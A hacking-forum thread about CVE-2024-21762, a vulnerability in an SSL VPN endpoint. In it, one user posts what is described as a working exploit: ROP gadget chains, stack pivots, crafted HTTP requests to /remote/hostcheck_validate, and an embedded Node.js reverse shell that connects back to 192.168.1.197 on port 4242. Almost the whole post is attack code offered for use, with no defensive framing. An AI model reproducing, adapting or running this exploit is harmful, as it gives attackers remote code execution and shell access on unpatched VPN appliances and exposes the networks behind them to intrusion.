

Forum:[Hack Forums](#)

Thread: [CVE-2024-21762](#)

goatrkhan - February 13, 2024, 2:34 am

Hi everyone. I wanna talk about this widely exploiting vulnerability.
Please share your knowledges about this vulnerability.
???

Now i am doing diffing. I have found some interesting points, but i am not sure.

goatrkhan - March 4, 2024, 4:48 am

I'm sure that poc on github is fake.

ssSnake - March 28, 2024, 1:35 pm

```
Code ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"
```

```
pivot_1 = b"%52%f7%fd%00%00%00%00%00" # push rdi; pop rsp; ret;
pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;
```

```
rop = b""
rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
rop += b"%00%00%00%00%00%00%00%00" # zero rcx
rop += b"%38%ad%98%02%00%00%00%00" # or cx, rax; setne al; movzx eax, al; ret;
```

```
rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;
```

```
rop += b"%f5%2c%e6%00%00%00%00%00" # sub rax, 0x10; ret;
rop += b"%e4%e6%d7%01%00%00%00%00" # add rsi, rax; mov [rdi+8], rsi; ret;
```

```
rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25
rop += b"%00%00%00%00%00%00%00%00" # r8
```

```
pivot_3 = b"%e0%3f%4d%02%00%00%00%00" # add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;
```

```
call_execl = b"%80%c1%43%00%00%00%00%00"
```

```
bin_node = b"/bin/node%00"
```

```
e_flag = b"-e%00"
```

```
js_payload = b'(function(){var
net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var
client%3dnew
net.Socket();client.connect(4242,"192.168.1.197",function(){client.pipe(sh.stdin);sh.stdout.pipe(client
```

```
);sh.stderr.pipe(client);});return /a/;})();%;%00'
```

```
form_value = b""  
form_value += b"B"*11 + bin_node + b"B"*6 + e_flag + b"B"*14 + js_payload  
form_value += b"B"*438 + pivot_2 + getcwd_ptr  
form_value += b"B"*32 + pivot_1  
form_value += b"B"*168 + call_execl  
form_value += b"B"*432 + ssl_do_handshake_ptr  
form_value += b"B"*32 + rop + pivot_3
```

```
body = (b"B"*1808 + b"=" + form_value + b"&")*20
```

```
data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"  
data += b"Host: 192.168.1.229\r\n"  
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")  
data += b"\r\n"  
data += body
```

```
ssock1 = make_sock(TARGET, PORT)  
ssock1.sendall(data)
```

```
time.sleep(1)
```

```
ssock2 = make_sock(TARGET, PORT)
```

```
data = b"POST / HTTP/1.1\r\n"  
data += b"Host: 192.168.1.229\r\n"  
data += b"Transfer-Encoding: chunked\r\n"  
data += b"\r\n"  
data += b"0"*4137 + b"\0"  
data += b"A"*1 + b"\r\n\r\n"
```

```
ssock2.sendall(data)
```

Here is a working PoC for exploitable versions and a link to detailed instructions. This is the best write up I've seen. This has been patched in the newer versions.

Credit:

<https://github.com/h4x0r-dz/CVE-2024-21762>